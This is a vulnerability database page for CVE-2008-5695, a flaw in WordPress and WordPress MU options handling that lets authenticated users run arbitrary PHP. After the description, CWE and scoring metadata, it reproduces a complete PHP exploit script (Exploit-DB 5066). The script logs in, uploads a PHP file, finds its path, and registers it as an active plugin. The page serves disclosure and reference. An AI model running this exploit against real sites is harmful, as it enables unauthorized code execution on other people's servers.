CVE-2008-5695 Detail

CVE-2008-5695

OWSAP

A03-Injection

EPSS

18.87%V3

Vector

Network

Published

2008-12-19
17h00 +00:00

Modified

2017-09-28
10h57 +00:00

Official links

CVE.org

NVD

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CVE Descriptions

wp-admin/options.php in WordPress MU before 1.3.2, and WordPress 2.3.2 and earlier, does not properly validate requests to update an option, which allows remote authenticated users with manage_options and upload_files capabilities to execute arbitrary code by uploading a PHP script and adding this script's pathname to active_plugins.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	8.5		AV:N/AC:M/Au:S/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 5066

Publication date : 2008-02-04 23h00 +00:00
Author : Alexander Concha
EDB Verified : Yes

<?php /* WordPress [MU] blog's options overwrite Credits : Alexander Concha <alex at buayacorp dot com> Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html This exploit uses active_plugins option to execute arbitrary PHP */ include_once './class-snoopy.php'; // Fix Snoopy class SnoopyExt extends Snoopy { function _prepare_post_body($formvars, $formfiles) { if ( is_string($formvars) ) { return $formvars; } return parent::_prepare_post_body($formvars, $formfiles); } } set_time_limit( 0 ); // Any user with 'manage_options' and 'upload_files' capabilities $user = 'user'; $pass = '1234'; $blog_url = 'http://localhost.localdomain/mu/'; $remote_file = ''; // relative path to wp-content $local_file = ''; // the contents of this file, if any, will be uploaded $snoopy = new SnoopyExt(); $snoopy->maxredirs = 0; $snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check'; $snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass)); $snoopy->setcookies(); // Set auth cookies for future requests if ( empty($remote_file) ) { // Upload a new file $snoopy->_submit_type = 'image/gif'; $snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents()); if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) { $remote_file = basename($match[1]); } } if ( empty($remote_file) ) die('Exploit failed...'); // Look for real path $snoopy->fetch("{$blog_url}wp-admin/export.php?download"); if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) { $remote_file = preg_replace('#.*?wp-content#', '', $match[1]); } if ( empty($remote_file) ) die('Exploit failed...'); // It asumes that file uploads are stored within wp-content $remote_file = '../' . ltrim($remote_file, '/'); $snoopy->fetch("{$blog_url}wp-admin/plugins.php"); // Recover previous active plugins $active_plugins = array(); if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) { foreach ($matches[0] as $plugin) { if ( preg_match('#plugin=([^&]+)#', $plugin, $match) ) $active_plugins[] = urldecode($match[1]); } print_r($active_plugins); } $active_plugins[] = $remote_file; // Fetch a valid nonce $snoopy->fetch("{$blog_url}wp-admin/options-general.php"); if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) { // Finally update active_plugins $snoopy->set_submit_normal(); $snoopy->submit("{$blog_url}wp-admin/options.php", array( 'active_plugins' => $active_plugins, '_wpnonce' => $match[1], 'action' => 'update', 'page_options' => 'active_plugins', )); } function get_contents() { global $local_file; return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>'; } ?> # milw0rm.com [2008-02-05]